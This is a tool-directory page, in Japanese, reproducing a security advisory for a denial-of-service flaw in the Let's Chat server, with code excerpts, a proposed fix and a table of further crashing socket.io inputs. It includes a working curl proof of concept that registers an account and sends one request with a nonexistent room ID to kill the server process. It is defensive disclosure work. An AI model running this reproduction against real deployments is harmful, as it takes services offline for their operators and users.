Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-66749-Unchecked-Room-Lookup-Leads-to-Server-Crash-Let-s-Chat- — セキュリティアドバイザリ: 未チェックのルーム検索がサーバークラッシュを引き起こす (Let's Chat) | Kitploit
ツール/GitHubGitHub/theopaid/cve-2026-66749-unchecked-room-lookup-leads-to-server-crash-let-s-chat-
脆弱性分析コード分析エクスプロイトウェブアプリケーション悪用ウェブセキュリティペネトレーションテスト学習と教育
GitHubtheopaid/cve-2026-66749-unchecked-room-lookup-leads-to-server-crash-let-s-chat-

CVE-2026-66749-Unchecked-Room-Lookup-Leads-to-Server-Crash-Let-s-Chat-

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

セキュリティアドバイザリ: 未チェックのルーム検索がサーバークラッシュを引き起こす (Let's Chat)

リポジトリを見る
22日前未レビュー

セキュリティアドバイザリ: 未チェックのルーム検索によりサーバークラッシュが発生する (Let's Chat)

割り当てられたCVE ID: CVE-2026-66749

概要

ログイン済みの任意のアカウントからの1つのHTTPリクエストで、Let's Chatのサーバープロセスが停止します。

GET /messages は room パラメータを受け取り、そのIDでルームを検索し、検索が何も返さなかったかどうかを確認せずに、その結果に対してメソッドを呼び出します。有効な24文字の16進文字列であるものの、どのルームにも属さないIDを送信すると、結果として TypeError がMongooseのコールバック内でスローされます。Expressはハンドラ内で同期的に発生した例外のみをキャッチするため、この例外は未キャッチ例外としてNodeに到達し、プロセスが終了します。

影響を受けるバージョン

リポジトリURL: https://github.com/sdelements/lets-chat

脆弱な範囲は、canJoin 呼び出しを導入した0.4.0(コミット 84981a6、2015年2月21日)から最終リリースである0.4.8までです。修正版は存在しません。

コミット 617207f の0.4.8と、現在も公開プル可能な docker.io/sdelements/lets-chat:latest(0.4.7)で確認済みです。

分類

CWE-476: NULLポインタ参照。CWE-248 未キャッチ例外およびCWE-400 制御不能なリソース消費につながります。

CVSS 4.0 基本スコア 7.1(高) CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

脅威モデル

攻撃者に必要なのは、通常のユーザーアカウント1つとHTTPポートへのネットワークアクセスだけです。ルームを所有または所属している必要も、存在するルームIDを知っている必要も、特権ロールを保持している必要もありません。

デフォルトインストールではアカウントの要件は緩く、defaults.yml で auth.local.enableRegistration がデフォルトで true になっているため、ログインページに到達できる人なら誰でもアカウントを作成してからリクエストを実行できます。

Procfile(web: npm start)も docker/docker-compose.yml もスーパーバイザーや再起動ポリシーを設定していないため、標準的なデプロイでは1回のリクエストで、オペレーターが再起動するまでサービスが停止します。オペレーターがプロセス監視を追加している環境でも、攻撃者はリクエストを繰り返すだけで済みます。

技術的詳細

このルートにはルーム検証ミドルウェアが登録されていません。app/controllers/messages.js:25-32:

root@kitploit:~
app.route('/messages')
    .all(middlewares.requireLogin)
    .get(function(req) {
        req.io.route('messages:list');
    })
    .post(function(req) {
        req.io.route('messages:create');
    });

比較対象として app/controllers/messages.js:34-41 では、ルームスコープのバリアントが middlewares.roomRoute を追加しており、これはルームを解決し、存在しない場合は404を返します:

root@kitploit:~
app.route('/rooms/:room/messages')
    .all(middlewares.requireLogin, middlewares.roomRoute)

したがって、/messages では room の値が検証されずにマネージャーへ到達します。 app/core/messages.js:118-129:

root@kitploit:~
Room.findById(options.room, function(err, room) {
    if (err) {
        console.error(err);
        return cb(err);
    }

    var opts = {
        userId: options.userId,
        password: options.password
    };

    room.canJoin(opts, function(err, canJoin) {   // line 129: room may be null

Model.findById は、IDが正常にキャストされたもののどのドキュメントにも一致しない場合、(null, null) でコールバックします。if (!room) ガードがないため、129行目でnullを逆参照します。

観測された出力:

root@kitploit:~
events.js:174
      throw er; // Unhandled 'error' event

TypeError: Cannot read property 'canJoin' of null
    at /usr/src/app/app/core/messages.js:129:14
    at model.Query.<anonymous> (/usr/src/app/node_modules/mongoose/lib/model.js:4093:16)

再現手順

ポート5000で実行中の標準インストールに対して、設定変更なしで実行:

root@kitploit:~
BASE=http://localhost:5000

# 1. Create an account. Self registration is on by default.
curl -s -X POST $BASE/account/register \
  -H 'Content-Type: application/json' \
  -d '{"username":"mallory","email":"[email protected]",
       "password":"Passw0rd!23","password-confirm":"Passw0rd!23",
       "firstName":"M","lastName":"M","displayName":"M"}'

# 2. Log in and keep the session cookie.
curl -s -c cookie.txt -X POST $BASE/account/login \
  -H 'Content-Type: application/json' \
  -d '{"username":"mallory","password":"Passw0rd!23"}'

# 3. Ask for the messages of a room that does not exist.
curl -s -b cookie.txt "$BASE/messages?room=507f1f77bcf86cd799439011"

ステップ3はボディを返さず、curlはコード52(サーバーからの空の応答)で終了します。サーバープロセスは消滅します。24文字の16進数でどのルームにも一致しないIDであれば、どれでも再現できます。

同じ欠陥の他の事例

express.oi は、すべての app.io.route(...) キーを単純な socket.on(...) ハンドラとして登録します(node_modules/express.oi/lib/index.js の initRoutes)。したがって、認証済みのsocket.ioクライアントはこれらのハンドラを直接呼び出すことができ、roomRoute を含むExpressのミドルウェアチェーンをスキップします。また、Expressのtry/catchも除去されるため、HTTPでは500になる同期スローが、socket.io経由ではプロセスを強制終了させます。

以下もすべてプロセスを終了させます。すべて確認済みです。

推奨される修正

ルックアップにガードを追加します。app/core/messages.js:118 と app/core/files.js:156:

root@kitploit:~
Room.findById(options.room, function(err, room) {
    if (err) {
        console.error(err);
        return cb(err);
    }

    if (!room) {
        return cb(null, []);
    }
    ...

app/core/rooms.js:234 は sanitizeRoom を呼び出す前に同様の処理が必要です。また、app/core/rooms.js:248 は、欠落している、または文字列ではない options.identifier を拒否する必要があります。

この脆弱性クラス全体を塞ぐには、個別の箇所の修正ではなく、2つの変更が必要です。1つ目は、文字列であると想定されているクエリパラメータ(expand、room、id、take、skip)をコントローラ境界で型変換して検証することです。2つ目は、socket.ioハンドラのディスパッチをtry/catchでラップし、process.on('uncaughtException') ハンドラをアタッチして、1つの不正なリクエストがサーバーを停止させるのではなく、エラーレスポンスにフォールバックするようにすることです。

ツールをダウンロード
到達手段入力スロー箇所
HTTPおよびsocket.iomessages:list、room に存在しないIDを設定app/core/messages.js:129
HTTPおよびsocket.iofiles:list、room に存在しないIDを設定app/core/files.js:167
socket.iorooms:get に存在しないID、またはIDなしapp/core/rooms.js:213 経由 :234
socket.iorooms:users にルームなしapp/core/rooms.js:248
socket.iorooms:join にIDなしapp/core/rooms.js:248
socket.iomessages:list の expand が配列app/core/messages.js:97
socket.iofiles:list の expand が配列app/core/files.js:139
socket.iousers:get の id がオブジェクトapp/models/user.js:139